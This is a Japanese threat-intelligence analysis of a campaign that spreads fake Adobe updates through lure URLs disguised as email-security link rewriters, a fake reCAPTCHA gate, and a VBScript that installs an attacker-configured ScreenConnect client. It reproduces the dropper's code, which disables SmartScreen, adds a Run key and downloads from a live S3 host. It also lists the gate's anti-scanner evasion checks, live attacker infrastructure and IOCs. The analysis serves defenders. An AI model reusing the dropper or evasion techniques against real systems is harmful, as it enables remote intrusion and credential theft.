ScreenConnectの悪用、なりすましメールセキュリティURL経由で拡散する偽アップデートキャンペーンの実態

要点まとめ

• 本キャンペーンは、実際のレジスタブルドメインであるsancaktextile.onlineの左側にCisco Secure Web、Proofpoint URL Defense、Microsoft Safe Links、Mimecastの名称を配置することで、悪意あるURLがあたかも事前スキャン済みであるかのように見せかけます。これらのベンダーはいずれも関与しておらず、その名称は単なるカモフラージュに過ぎません
• 偽のreCAPTCHAゲートが訪問者をプロファイリングし、スキャナーを拒否し、意図された受信者を認識した上で、検証に失敗したアクセスはProofpointの本物のウェブサイトへ送り込みます。検証に成功するとS3ホスティングの偽Adobeアップデートページへ誘導され、被害者に.vbsファイルの実行と「プロンプトが表示されたらYesをクリック」することを指示します
• このVBScriptはSmartScreenを無効化し、Runキーによる永続化を作成した上で、正規のConnectWise ScreenConnectクライアントをサイレントインストールします。これによりリモートシェル、ファイルアクセス、キーロギング、スクリーンショット取得、音声キャプチャ、ログイン画面での認証情報プロバイダーアクセスが可能になります
• このクライアントは、攻撃者が自前で運用するリレーサーバーsancaktextile.com:8041に接続します。この接続先アドレスと2048ビットRSA鍵は、署名済みのScreenConnectバイナリ本体ではなくMSIのプロパティテーブル内に存在するため、悪意の有無はファイルの問題ではなく設定の問題となっています
• Certificate Transparencyログには、ステージング名やProofpointに似た数値パターンを含む90以上の誘導用サブドメインが記録されています。CaronteはCAPTCHAを手動で突破した後にこの攻撃チェーンを追跡しましたが、調査時点で本キャンペーンのドメイン、ハッシュ値、RSA鍵は公開情報源には一切記録されていませんでした

主要な調査結果の概要

攻撃チェーンの概要

この攻撃チェーンは、段階ごとに異なる信頼された存在の名を借りています。URLはメールセキュリティベンダーの信頼性を、ゲートはGoogleのインターフェースを、アップデートページはAdobeの名前を、そしてペイロードは正規のリモートサポート製品の信頼をそれぞれ利用しています。個々の偽装がすべて綿密な検証に耐える必要はなく、被害者を次の段階へ誘導できさえすれば十分なのです。

初期侵入経路：事前スキャン済みに見せかけて構築されたURL

新たにスキャンされた誘導ページの定期的な監視の中で、読み手に誤った解釈をさせるよう作り込まれたURLが発見されました。

https://dcsecure-web.cisco.com.urldefense.proofpoint.com.sancaktextile.online/

左から右に読むと、このURLはCisco Secure WebおよびProofpoint URL Defenseを経由しているように見えます。しかし正しくは、レジスタブルドメインを起点に外側へ向けて読む必要があり、実際にはsancaktextile.onlineのみに帰属しています。その左側にあるセキュリティブランド名はすべて、攻撃者が選んだテキストにすぎません。この欺瞞は、ページが読み込まれる前からすでに始まっているのです。

実際にこのチェーンをたどってみると、訪問者が最初に目にするのは、一見何もない空白のページに表示されたGoogle reCAPTCHAのチェックボックスのようなものです。

これは本物のreCAPTCHAではありません。ページのソースコードにはrecaptcha/api.jsもGoogleのiframeもg-recaptcha-responseフィールドも一切含まれていません。

このウィジェットは手作りで作成されています。ロゴは弧のパスと三角形で構成されたインラインの<svg viewBox="0 0 64 64">で、チェックボックスはrole="checkbox"属性を持つ<div>要素、チェックマークとスピナーはCSSアニメーションで実装されており、「プライバシー・利用規約」のリンクは#を指しています。

この模倣は雑ではなく、非常に丁寧に作られています。カードのサイズは304×78ピクセルで、Googleの実際のv2チェックボックスウィジェットと寸分違わぬ大きさです。フォントにはRobotoが使われ、チェック済み状態はGoogleのブルーである#1a73e8で塗りつぶされます。さらに<span>要素が「私はロボットではありません」というラベルの横に、そのまま「reCAPTCHA」というワードマークを描画します。Googleから実際に取得している唯一のアセットはファビコンのみで、これはhttps://www.google.com/favicon.icoから取得されており、ブラウザタブに本物のGoogleアイコンが表示される仕掛けになっています。それ以外はすべて複製であり、ページタイトルには「Verify you are human(あなたが人間であることを確認してください)」と表示されます。また<meta name="robots" content="noindex,nofollow">タグにより、検索エンジンのインデックスから除外される設定になっています。

被害者に求められるのはクリック操作のみです。ここは正確に述べておく必要があります。というのも、この見た目はClickFix攻撃で使われるものと同じですが、その仕組みは異なるからです。ソースコードにはnavigator.clipboard、execCommand、writeTextといった記述は一切なく、コマンド文字列も含まれていません。クリップボードには何もコピーされず、「Win+R」を実行する指示もなく、ターミナルに何かを貼り付けるよう求められることもありません。スピナーが回転している間に実際にこのページが行っているのは、訪問者が人間かどうかの判定です。

訪問者フィルタリング：被害者は通し、スキャナーは拒否する仕組み

ページ読み込みから最初の900ミリ秒間(ARM_MS)は、チェックボックスをクリックしても無効化されています。この時間内のクリックは何の効果もありません。この時間を過ぎてから操作を行うと、ページが実際の動作を行うまでに1,800ミリ秒(HOLD_MS_TARGET)の遅延が発生します。この二つの時間間隔はいずれも自動化を妨げる目的で設定されていますが、後者はウィジェットを本物らしく見せるスピナー演出も兼ねています。

この待機時間はクライアント側で固定されているのではなく、セッションごとにテンプレート化されています。同じ値が後述の署名付きトークンにも記載されており、サーバーがページをレンダリングする際にこの遅延時間を設定できる仕組みになっています。

この時間内に、ページは二つのプロファイルを構築します。行動プロファイルには、タイムスタンプ付きのポインター座標、移動の速度と距離、ポインターの圧力、そして操作がキーボードとマウスのどちらから行われたかが記録されます。

デバイスプロファイルには、マスク解除されたWebGLのベンダー名とレンダラー情報、キャンバスおよびオーディオのフィンガープリント、navigator.userAgentDataのブランド情報、通知許可の状態、プラグイン数が追加されます。localStorage.__bg_bidに保存される永続的なブラウザ識別子により、この攻撃キットは複数セッションにまたがって同一ブラウザを識別できます。

さらに三つの検査手段が、ユーザーではなく解析環境そのものを標的にしています。ページはperformance.now()の実効分解能を、クロックが刻まれるまでループさせることで計測しますが、これにより堅牢化・計測用に改造されたブラウザが適用するタイマーの粗粒度化を検出できます。またFunction.prototype.toStringが依然として[native code]を返すかを確認することで、プリミティブが改変されたランタイムを検出します。さらにwindow.location.ancestorOriginsを読み取り、フレーム化されている場合はどこがそのページをフレーム化しているかを報告します。

また、明示的な自動化検知ブロックリストも実行されますが、これはページ読み込み時、350ミリ秒タイマー時、チェックボックス押下時、リダイレクト直前という計4回にわたって個別に実行されます。最初のチェックを通過するだけでは不十分な仕組みです。

ブラウザ側の検査は、navigator.webdriver、SeleniumやChromeDriverのグローバル変数、自動化フレームワークに関連するドキュメントプロパティ、さらにError.stackにゲッターを仕掛けてChrome DevTools Protocolを検出する仕組みをカバーしています。具体的な検知マーカーは、下記の侵害指標(IOC)セクションに記載しています。

ユーザーエージェントの拒否リストはさらに広範です。メールセキュリティベンダー、リモートブラウザ分離製品、公開サンドボックス、ヘッドレスブラウザ、クローラー、そしてアナリストが最初に試すことの多いコマンドラインHTTPクライアントの名称が列挙されています。curl、python-requests、Playwright、urlscan、VirusTotal、Proofpointなど、数十種類に及ぶ識別子からの直接的なリクエストは、キャンペーン本体ではなくおとりの遷移先へ誘導されるよう設計されています。

ここで注目すべき対称性があります。CiscoやProofpointのリンク書き換えを装ったホスト名を使う同じキャンペーンが、それらのベンダーのスキャナーを排除するためのリストも保持しているのです。DNSレイヤーでは彼らの評判を借用しながら、HTTPレイヤーでは彼らの検査を拒絶しているというわけです。

ブロックリストに加え、より小規模な二つの罠も仕掛けられています。ページにはハニーポットとして、email_addressという名前のテキスト入力欄と送信ボタンが設置されており、両方ともleft:-10000pxの位置に隠され、その横には「あなたが人間であれば、ここは空欄のままにしてください」というラベルが表示されています。このフィールドに入力したり、ボタンをクリックしたりすると、検証結果のペイロードとともに送信されるフラグが立てられる仕組みで、レイアウトを描画しないフォーム入力ボットや認証情報収集ボットを捕捉します。またこのページはフレームからの脱出も行い、自身がトップドキュメントでないと検知した場合、window.top.locationを自身へと書き換えます。これは、ユーザーエージェントリストにすでに名前が挙がっているリモートブラウザ分離製品を明確に狙ったもので、これらの製品はページをフレーム内に表示する仕組みを持っています。

検証に失敗した訪問者は全員、https://www.proofpoint.com/us/products/365-total-protectionへ転送されます。実際、当方が発行した直接リクエストは例外なくこのページへ誘導されました。この転送先の選定は偶然ではありません。ゲートが回避しようとしているベンダーの一つであるProofpointの、まさに「365 Total Protection」という製品ページそのものが選ばれているのです。つまり、リンクを追跡したアナリストは、皮肉にもゲートが回避対象とするベンダーの製品マーケティングサイトへ導かれることになります。

受信者バインディング：リンクは標的を認識している

このページはURLフラグメントを読み取り、プレーンテキスト、16進数、base64urlの順に三つのデコード方式を試行します。それぞれの候補はメールアドレスのパターンと照合され、最初に一致したものが採用されます。一致するものが見つかると、ページはウィジェット上部のバッジを表示し、そこにそのアドレスを書き込みます。これにより被害者は自分自身のメールアドレスを目にすることになり、そのリンクが自分宛てに用意されたものであるという暗黙の証拠として機能します。同じ値はurl-safe base64形式で再エンコードされ、検証用ペイロードとともにサーバーへ送信されます。

アドレスをクエリ文字列ではなくフラグメントに格納するのは意図的な選択です。フラグメントはHTTPリクエストに一切含まれないため、受信者のメールアドレスはサーバーログにも、プロキシの記録にも、経路上のURLスキャンのテレメトリにも一切残りません。このアドレスはブラウザ内にのみ存在し、訪問者がゲートを通過した後にようやく攻撃者の手元に届く仕組みになっています。

したがって配信は受信者ごとに個別化されており、攻撃者側はどの特定のアドレスがクリック段階まで到達したかを把握できます。

ページソースにはさらに三つの仕組みが存在します。一つ目は、セッションと訪問者を紐付ける署名付きトークンです。

{"ts":1786643047,"iph":"44987e91b96dae4d","uah":"d37ac4d248088c64",
 "pid":"3","bot":0,"hold":1800,"nonce":"f03a7cf8d091177c"}

このトークンはbase64形式で、別途64文字の16進数署名が付与されています。iphとuahはいずれも16桁の16進数値で、その名前から訪問者のIPアドレスとユーザーエージェントを切り詰めてハッシュ化した値であると推測されます。ページ側はこれらの値を単に転送しているだけであり、実際の照合処理はサーバー側で行われていることを示しています。

この仕組みの目的は、捕捉されたリンクが別のアドレスやクライアントから再利用されることを防ぐためだと考えられます。この解釈を裏付けるフィールドが他に二つあります。holdはページに適用された遅延時間を保持しており、bot:0はブラウザ側の検査が実行される前に下されたサーバー側の判定結果を記録しています。つまりフィルタリングは、ゲートが表示される前からすでに始まっているのです。

ページ読み込み時、history.replaceStateによってアドレスバーが書き換えられます。誘導用のURLは、架空のgclid、gbraid、wbraid、dclid、utm_*パラメータを伴う、www.googleadservices.com.secure-web.cisco.com.sancaktextile.onlineへの偽装Google広告クリックに置き換えられます。

元のフラグメントは置き換え後のURLにそのまま付加されるため、被害者のメールアドレスは保持され続けます。後からアドレスバーを確認した人は、フィッシングゲートではなく、Cisco Secure Webのホスト名上での広告クリックであるかのように見えるものを目にすることになります。

収集されたプロファイルは/__cre/verifyへPOST送信され、そのレスポンスとして返されるJSONのurlフィールドに次の段階の情報が格納されています。リクエストの失敗、不正な形式のレスポンス、あるいは8秒間のタイムアウトが発生した場合は、ボット向けと同じProofpointの転送先へフォールバックします。

このエンドポイント名からは、犯人特定につながる小さな手がかりが得られます。creという文字列は、CTログ上のホスト名3facebook.com.182.pstmrk.it.cre.sancaktextile.onlineにも登場しており、これは被害者にとって意味を持つものではなく、攻撃キット内部のラベルであることを示唆しています。

偽アップデート：UACプロンプトへの事前承認の仕込み

CAPTCHAを突破すると、偽のAdobe Acrobat Readerアップデートページへリダイレクトされます。このページは誘導用ドメイン上ではなく、Amazon S3バケット(charterkc-sns-notifications.s3.eu-central-1.amazonaws.com/Adobe_Reader_Update)から直接ホストされています。

注目すべき機能上の詳細が二つあります。製品名の下にあるバージョン表記は「Version 2024.002.20857 (64-bit)」に続けて「VBS Installer」と記されており、ペイロードの形式を配信ページ上で堂々と明かしています。またダウンロードはユーザーの入力を待たず、「Your download will start automatically in 1 seconds…」(1秒後にダウンロードが自動的に開始されます、原文のまま複数形「seconds」が誤用されている)という、校正されていないテンプレートそのままの文言が表示されます。目立つ位置にある「Download Update」ボタンは、実際にはすでに開始されている転送処理を彩る単なる飾りにすぎません。

この誤字だけが唯一のほころびではありません。このページはチェーン全体の中で群を抜いて最も粗雑な要素であり、その欠陥を見抜くのに専門的な分析は不要です。アイコンはAdobeのものではなく、文字「A」を囲む白い六角形が描かれた赤い角丸四角形で、Adobeが実際にAcrobat Readerで使用したことのないマークです。製品名以外にAdobeのブランド要素は一切なく、フッターも法的表記もなく、adobe.comへの言及すら存在しません。さらにこのページは、インストーラーが.vbs形式であることを堂々と表示していますが、正規のAdobeアップデートがこの形式で配布されたことは一度もありません。

興味深いのはこの非対称性です。ホスト名の構築、CTログの整備、ペイロードの設定にはかなりの労力がかけられている一方で、被害者が実際に目にする唯一の画面にはほとんど手が加えられていません。これは、視覚的な層を使い捨てとして扱う攻撃者の姿勢と一致しており、アナリストの排除はCAPTCHAゲートに任せ、残った視聴者に対しては「緊急のセキュリティアップデート」という口実によってページの精査を思いとどまらせる戦略と整合します。また、攻撃キット提供者がインフラを供給し、実際の運用者がランディングページを用意するという分業体制とも整合的です。

チェーン最後のページはソーシャルエンジニアリングの要であり、必要な操作を明確に指示します。

「Downloadsフォルダを開く → Adobe Reader Installer.vbsをダブルクリック → プロンプトが表示されたらYesをクリック。」

この三つ目の指示こそが、この攻撃の核心を担っています。このスクリプトが行うサイレントなmsiexecインストールは、マシン単位のインストール(MSI内でALLUSERS=1指定)であるため、処理を進める前にWindowsがユーザーアカウント制御(UAC)の同意ダイアログを表示します。そしてこのダイアログのボタンはYesとNoというラベルが付いています。ページはこの制御機能を回避するわけではなく、その必要もありません。ページは事前に回答を承認させ、プロンプトが表示される前にその指示を出しておくため、被害者は警告に遭遇した時点ですでにその説明を手にしています。予告通りに現れたセキュリティ制御は、停止すべき警告としてではなく、インストールが正常に進行している証拠として読み取られてしまうのです。

下部にある二つのボタンが、この演出を完成させています。主要な操作は「Open Downloads Folder」で、代替の選択肢は「I’ll Do It Manually」です。しかしどちらを選んでも行き着く先は同じです。被害者に選択肢として与えられているのは経路だけであり、目的地について選ぶ余地は一切ありません。これは同意インターフェースにおいてよく見られるパターンであり、圧力ではなく親切心として受け取られやすい設計です。

したがってこの配信手法は、手動実行を要求する偽アップデート型のドライブバイ攻撃であり、訪問者をプロファイリングしスキャナーを排除することのみを目的とする偽のreCAPTCHAによってゲートされています。このゲートが誘導ページを見せる相手を選別し、誘導ページはその人物に対して、Windowsが最後に表示する警告をどう突破すればよいかを指南しているのです。

インフラの拡大：借用された信頼の90通りのバリエーション

基盤となるドメインを調査した結果、単なる汎用テンプレートを超えたインフラが明らかになりました。sancaktextile.onlineはわずか数日前に登録されたばかりであり、なおも積極的に拡張が続けられていました。Certificate Transparencyログによれば、登録以降、新たな誘導用サブドメインがおよそ1日に1件のペースで出現していました。その大半はGoogle、Facebook、LinkedIn、Outlookを模倣したものでしたが、そうでないものも一部存在しました。

secure-web.cisco.com.sancaktextile.online
dcsecure-web.cisco.com.urldefense.proofpoint.com.sancaktextile.online
csecure-web.cisco.com.urldefense.proofpoint.com.sancaktextile.online
3facebook.com.182.pstmrk.it.cre.sancaktextile.online
eur04.safelinks.protection.outlook.com.sancaktextile.online
nam04.safelinks.protection.outlook.com.sancaktextile.online
protect-eu.mimecast.com.secure-web.cisco.com.sancaktextile.online

secure-web.cisco.comとurldefense.proofpoint.comはフィッシングブランドではありません。これらは、企業のメールゲートウェイが送信先のURLをスキャンおよびラップするために使用するリンク書き換えサービスです。pstmrk.itはProofpointが別途運用するクリック追跡用ドメインです。safelinks.protection.outlook.comは、Microsoft Defender for Office 365のSafe Linksであり、ヨーロッパ地域と北米地域それぞれの派生形が存在します。protect-eu.mimecast.comはMimecastの同等機能です。

これらの名称をサブドメインのプレフィックスとして埋め込むことで、あたかも受信者のセキュリティスタックを通過したかのように見えるURLが生成されます。しかし実際には、これらのサービスはいずれもそのURLを処理していません。

誤解のないよう明確に述べておきます。これらのベンダーのいずれも、侵害されたり、迂回されたり、関与したりしているわけではありません。これらの製品自体は、このチェーンには一切関与していません。

ホスト名は右から左に向かって解釈されるものであり、所有権はレジスタブルドメイン、ここではsancaktextile.onlineによって決まります。その左側にあるものはすべて、攻撃者が制御するテキストです。これらのホスト名において、cisco.comやproofpoint.comは、ドメインであるかのように誤読させるために配置されたラベルにすぎません。この攻撃が狙っているのは、これらの製品自体の脆弱性ではなく、それらの製品にまつわる信頼のヒューリスティックです。

CTログ上にはさらに別のパターンも見られ、これは場当たり的な単発の作業ではなく体系的なテストが行われたことを示唆しています。連番の数値プレフィックスを持つサブドメイン(2com、32com、432com、5432com、65432com)がProofpointの実際のクリック追跡IDの形式を模倣しており、さらにtestbrand.com.sancaktextile.onlineとtestnew.sancaktextile.onlineという紛れもない二つのステージング用エントリも確認されました。これは、テンプレート化された攻撃キットが展開前にプレースホルダーのブランド名に対して試験運用されていたことを示すものであり、単発の手作業による誘導ページではないことを裏付けています。

ドロッパー：SmartScreenを無効化し、その後サイレントインストールへ

被害者がAdobe Reader Installer.vbsをダブルクリックすると、キャンペーンは信頼されたインターフェースを模倣する段階から、実際にホストを改変する段階へと移行します。当方はこの自動ダウンロードされたスクリプトをCaronteに提出し、リバースエンジニアリングを行いました。

このスクリプトは短く(2,333バイト)、以下の三つの動作のみを行います。

' 1. Disable Windows SmartScreen
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SmartScreenEnabled", "Off", "REG_SZ"
' 2. Install Run-key persistence pointing at its own path
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdateService", WScript.ScriptFullName
' 3. Download and silently install the payload
Set xhr = CreateObject("MSXML2.XMLHTTP")
xhr.Open "GET", "https://achotelwashington-mfa-cdn-courtyard.s3.us-west-1.amazonaws.com/ScreenConnect.ClientSetup.msi", False
xhr.Send
' saved to %TEMP%\AdobeUpdate.msi, installed via: msiexec /i /quiet /norestart

On Error Resume Nextにより、本来であればダイアログとして表示されるはずのランタイムエラーがすべて抑制されます。ステージング用バケット名のachotelwashington-mfa-cdn-courtyardは、ホテルおよびCDNの命名慣行を模倣したものです。また当方は別途、名称の異なる二つ目のバケット(charterkc-sns-notifications.s3.eu-central-1.amazonaws.com)がこの直前の段階を配信していることも確認しており、攻撃者はステージング用リソースを一つに集約せず、複数のバケットとリージョンに分散させていることがわかります。

調査時点では、このスクリプト自体はMalwareBazaar、ThreatFox、URLhaus、OTXいずれにおいてもクリーンな状態であり、公開ブロックリストへの検知件数はゼロでした。公開情報からはこのスクリプトの正体を特定する手がかりは何一つ得られず、唯一その挙動だけが正体を暴く決め手となりました。

解析は提出されたファイルだけにとどまりませんでした。Caronteはスクリプトに埋め込まれたダウンロードURLを追跡し、MSIファイルを取得した上で、独立したリバースエンジニアリングのキューに登録し、その結果として得られた判定結果を関連する侵害指標として親サンプルに紐付けました。このキャンペーンのC2インフラが浮かび上がったのは、この子サンプルの解析からです。

ペイロード：転用された本物のScreenConnectクライアント

最後に借用された信頼は、最も重大な意味を持ちます。ScreenConnect.ClientSetup.msiはカスタムマルウェアではありません。これはIT部門が正規のサポート業務で使用しているのと同じソフトウェアである、正真正銘のConnectWise ScreenConnect(v25.2.4.9229)のリモートアクセス用インストーラーであり、正規のヘルプデスクではなく攻撃者が制御するインフラを指す接続文字列を組み込んで構築されています。

これは先述のVBScriptからCaronteが自動的にキューへ登録した子サンプルの解析結果であり、その自動生成された要約の中で初めてC2の存在が平易な言葉で示されました。「このMSIインストーラーは、暗号化されたリモートデスクトップおよびファイルアクセスセッションのために、埋め込まれた2048ビットRSA公開鍵を用いてsancaktextile.com:8041へ接続を返すようサービスを設定する。」手動での文字列抽出もプロトコル解析も一切行うことなく、リレーアドレスと鍵はいずれも自動解析パスから得られたものです。

攻撃者が制御する設定情報は、バイナリ本体には一切存在しません。それはMSI自体のプロパティテーブル内、SERVICE_CLIENT_LAUNCH_PARAMETERSの下に格納されています。

?e=Access&y=Guest&h=sancaktextile.com&p=8041&k=BgIAAACkAABSU0Ex...<2048-bit RSA public key>

インストーラーのServiceInstallテーブルは、この文字列をそのまま登録するサービスのコマンドラインとして渡すため、リレーアドレスは埋め込みデータとしてではなく引数としてクライアントに到達します。

この配置こそが、このペイロードをファイル単体では検出しにくくしている理由です。ネイティブなサービスホストは市販のConnectWiseバイナリそのものであり、文字列の中にsancaktextile.comへの参照は一切含まれていません。ハッシュ化しても、スキャンしても、逆コンパイルしても、この運用者を示すものは何一つ見つかりません。このチェーンの中でキャンペーンの正体を特定できる唯一のファイルはインストーラーのラッパーであり、しかもそれは、ほとんどの静的解析ツールが開くことのないメタデータテーブルの中に限られています。

hとpはそれぞれリレーサーバーのホストとポートです。kはMicrosoft CAPIのPUBLICKEYBLOB形式であり、デコードするとその構造が確認できます。ブロブタイプは0x06(公開鍵)、アルゴリズムはCALG_RSA_KEYX、マジックナンバーはRSA1、モジュラスは2048ビット、指数は65537です。クライアントはこの鍵を使ってリレーサーバーの正当性を検証しており、SSHのホスト鍵と同様の役割を果たしています。当方はデコード済みの276バイトのブロブ(SHA-256はbf55a817eb6aef825bed68448b6342bb56646a3af29d3f9d8e284a0b10c5d2ec)についてフィンガープリントを取得しました。というのも、ドメインとは異なり、この鍵はリレーサーバーを再構築しない限りローテーションできないため、ホスト名よりも持続性の高い侵害指標となるからです。

インストール時、MSIはCreateServiceWを通じてScreenConnect Client (5bab5a88e37ba90e)という永続的なWindowsサービスを作成するほか、SYSTEM\CurrentControlSet\Control\SafeBoot\Network配下にエントリを追加します。これにより、マシンをネットワーク機能付きセーフモードで起動した場合でもこのサービスが起動するようになり、「感染を除去するにはセーフモードで起動する」というよくある手動駆除の手順を、まさにピンポイントで無効化する仕組みになっています。

インストールされたバンドルには、このソフトウェアが標準で備える機能一式がすべて含まれており、いずれも正規のScreenConnectコンポーネントですが、今や攻撃者の制御下にあります。

このバンドルの静的解析では、マルウェアを思わせる兆候が数多く検出されますが、これらは公平に評価する必要があります。汎用のYARAルールは、アーカイブ内の各ファイルに対してキーロギング、画面キャプチャ、音声録音、フックテーブル操作を理由に反応し、ScreenConnect.Windows.dllおよびantisb_threatExpertルールはScreenConnect.WindowsCredentialProvider.dllに対して反応します。サービスホストにはIsDebuggerPresentやSetUnhandledExceptionFilterの呼び出しが見られますが、これらはATLおよびCランタイムの定型処理の一部であり、ランタイムがクラッシュダイアログを表示すべきかどうかを判断するために使用しているものです。これらはいずれも攻撃者による堅牢化ではなく、堅牢化として解釈するのは誤りです。これらは改変されていない、ベンダー署名済みのConnectWiseファイルそのものであり、ConnectWiseのコード署名証明書に一致するルールも同時に検出されています。

これがこの問題の核心です。リモートサポートソフトウェアとリモートアクセス型トロイの木馬は、そもそも同じ機能を実現するために作られているため、これらのファイルに対してどれだけヒューリスティックスコアリングを重ねても両者を区別することはできません。このインストールが悪意あるものかどうかは、ファイルの問題ではなく設定の問題なのです。

sancaktextile.comは休眠中の登録ドメインではなく、稼働中のインフラです。ポート80、443、8040、8041のいずれもTCP接続を受け付けます。ポート8040と8041は、認識可能な応答を一切返しません。これは、このリレーサーバーがScreenConnect独自のプロトコルで通信しており、正規のクライアントハンドシェイク以外のものをすべて拒否していることと整合します。

ポート443は事情が異なります。ここでは攻撃者運営のScreenConnectウェブポータルが稼働しており、一般からアクセス可能な状態にあります。しかもこれはリレー用のエンドポイントではなく、フル機能のサーバーコンソール本体のフロントエンドです。

攻撃者は自前のインフラ上で自己ホスト型のScreenConnectサーバーを運用しています。クライアント側の設定は、ベンダーがホストするインスタンス名ではなく、素のホスト名とポート番号を指しており、MSIに含まれるRSA鍵も攻撃者自身のものです。

レスポンスヘッダーからその実態が明確に判明します。Server: Microsoft-HTTPAPI/2.0、これは自己ホスト型ScreenConnectがバインドするWindowsのHTTP.SYSスタックであり、DarkTealテーマを配信しています。

TLS証明書は、この時系列を裏付けています。これはCN=sancaktextile.com宛てに発行されたLet’s Encrypt証明書であり、発行日は2026年8月4日、まさにsancaktextile.onlineが登録されたのと同日です。この日付の一致は、C2サーバーと誘導用ドメインが異なる時期に用意されたインフラの寄せ集めではなく、同一の作戦の一環として同時に整備されたものであることを裏付けています。

この日付は最近のものであり、このキャンペーンはその後も拡大を止めていません。今回の調査中にも、初回の列挙時には存在していなかった新しい誘導用サブドメインが確認されました。その中にはprotect-jp.mimecast.com.secure-web.cisco.com.sancaktextile.online、edcsecure-web.cisco.com.urldefense.proofpoint.com.sancaktextile.online、6mimecast.com.secure-web.cisco.com.sancaktextile.onlineが含まれています。誘導用ドメイン、C2コンソール、そして二つのS3バケットは、いずれも執筆時点で稼働し配信を続けていました。

バージョンに関して一点補足しておきます。これは当然浮かぶ疑問だからです。ScreenConnect 25.2.3以前のバージョンには、ASP.NETのViewStateコード実行の脆弱性(CVE-2025-3935、CVSSスコア8.1)が存在していましたが、ConnectWiseは25.2.4でViewStateを無効化し、それに依存するコードを削除することでこの脆弱性を修正しました。ScreenConnectサーバーは自身のバージョン番号を、そのサーバーが生成するクライアントに刻印する仕組みになっているため、25.2.4.9229というクライアントのバージョン番号は、その背後にあるサーバーがこの修正版以降であることを示す有力な証拠となります。仮に未パッチのビルドであったとしても、この脆弱性を悪用するにはまずサーバーのweb.configからマシンキーを入手する必要があったため、決して単純な侵入経路ではありませんでした。当方は公開されているランディングページの取得以外、認証を含むいかなる形でもこのポータルとの対話は一切行っておりません。

ステージング構成：二つのバケット、二つのリージョン

本キャンペーンは、実行可能なペイロードを自らのドメイン上で配信することは一切ありません。両方の段階とも、異なる二つのリージョンにある別々のAmazon S3バケットから配信されています。

charterkc-sns-notifications.s3.eu-central-1.amazonaws.com      → fake update page + VBScript
achotelwashington-mfa-cdn-courtyard.s3.us-west-1.amazonaws.com → ScreenConnect MSI

どちらの名称も無作為に選ばれたものではありません。一方はSNS通知サービスを、もう一方はホテルチェーンのMFAおよびCDNインフラを彷彿とさせます。いずれも、プロキシログにおける通り一遍の点検を切り抜けるよう設計されており、*.s3.amazonaws.comへのリクエストはごくありふれたものであるため、バケット名だけが正規の企業ストレージとマルウェアのステージング用領域とを区別する唯一の手がかりとなっています。

この分離構成は、誘導用ドメインだけでは得られない耐障害性を攻撃者にもたらしています。sancaktextile.onlineを停止させても侵入経路が塞がれるだけで、両方のペイロードは引き続きアクセス可能な状態が維持されます。実際、執筆時点でも両バケットは通常のリクエストに対して200 OKを返し続けています。バケットをAWSへ通報する作業とドメインをレジストラへ通報する作業はそれぞれ別個の対応であり、両者はこのチェーンの異なる半分をそれぞれ対処するものです。

防御上の優先事項

このキャンペーンは、各遷移段階においてそれぞれ異なる検知機会を露呈しています。いずれもAdobeページを視覚的に見分ける能力には依存していません。

• ブランド名の表記ではなく所有権を解析する。URLをレジスタブルドメインに正規化し、urldefense.proofpoint.comやsecure-web.cisco.comといったメールセキュリティ関連の名称が、無関係なドメイン(特に登録日が新しかったりCT活動が活発だったりするもの)の下にラベルとして出現していないか検知すること
• リダイレクトチェーンを相関させる。新規登録された誘導用ドメインに到達した後、無関係なS3バケットから.vbsファイルとMSIファイルをそれぞれ取得するブラウザの挙動は、個々のリクエストよりもはるかに信頼性の高い証拠となります。正規のProofpointサイトへのフォールバック的なリダイレクトが発生したからといって、元のイベントを無害と判定すべきではありません
• 実行の受け渡しを検知する。ユーザーがダウンロードしたファイルから起動されたwscript.exeまたはcscript.exeがSmartScreenEnabledを変更したり、Runキーを作成したり、%TEMP%配下にMSIを書き込んだり、/quiet付きでmsiexecを呼び出したりした場合はアラートを発すること
• リモートサポートソフトウェアを設定面から統制する。承認済みのScreenConnectインスタンスIDおよびリレーホストのみを許可リストに登録すること。MSIのプロパティおよび登録されたサービスの引数を精査し、未知のリレー先やSafeBoot\Networkへの永続化を伴う新規ScreenConnectサービスにはアラートを発すること
• 対話型侵害として対応すること。このサービスがインストールされると、攻撃者はリモートシェル、ファイル、キャプチャ、ログイン画面へのアクセス能力を手にします。隔離および駆除の対象には、ScreenConnectサービス、認証情報プロバイダーの登録情報、Runキー、ダウンロードされたスクリプト、そしてセッション中に露出した可能性のある認証情報のすべてを含める必要があります

侵害指標(IOC)

Dropper:
  Name:     Adobe Reader Installer.vbs
  SHA256:   dbac65d2a03c91c4a2226090d06e0da8700c755dde61f506c79a3a356e3416bc
  MD5:      b55710ace9f4dca8f1bdb95411db0cf2
  SHA1:     14282e3fbd2b57b105cda08526dffa10a0bd884e
Payload:
  Name:     ScreenConnect.ClientSetup.msi (ConnectWise ScreenConnect v25.2.4.9229)
  SHA256:   e6c563365967e2223cb852c266237ed9c553f5c94023253f51f996b8eb14a56c
  Service:  ScreenConnect Client (5bab5a88e37ba90e)
  Instance id:  5bab5a88e37ba90e
  URL scheme:   sc-5bab5a88e37ba90e
  ProductCode:  "{2B3E90CD-17AF-9020-7E06-7AE2D7C47267}"
  UpgradeCode:  "{45E9582B-B171-5E88-5BAB-5A88E37BA90E}"
  Credential provider CLSID: "{6FF59A85-BC37-4CD4-AA13-7B50E75AC37A}"
Payload config (MSI property table, not present in any installed binary):
  Property: SERVICE_CLIENT_LAUNCH_PARAMETERS
  Value:    ?e=Access&y=Guest&h=sancaktextile.com&p=8041&k=BgIAAACkAABSU0Ex...
  Delivery: passed verbatim as the service command line via the ServiceInstall table
Network:
  C2 relay:       sancaktextile.com:8041
  Open ports:     80, 443, 8040, 8041
  Web console:    https://sancaktextile.com/  (self-hosted ScreenConnect server)
                  Server: Microsoft-HTTPAPI/2.0   theme: DarkTeal
                  TLS: Let's Encrypt CN=sancaktextile.com, issued 2026-08-04
  RSA key SHA256: bf55a817eb6aef825bed68448b6342bb56646a3af29d3f9d8e284a0b10c5d2ec
                  (SHA-256 over the 276-byte CAPI PUBLICKEYBLOB obtained by
                   URL-decoding then base64-decoding the k= parameter;
                   durable: survives domain rotation, unlike the hostname)
  Staging (S3):   achotelwashington-mfa-cdn-courtyard.s3.us-west-1.amazonaws.com
                  charterkc-sns-notifications.s3.eu-central-1.amazonaws.com
Lure infrastructure:
  Domain:    sancaktextile.online (registered 2026-08-04)
  Subdomain pattern: <spoofed-brand>.sancaktextile.online
  Spoofed brands: Google, Google Ads, Facebook, LinkedIn, Outlook,
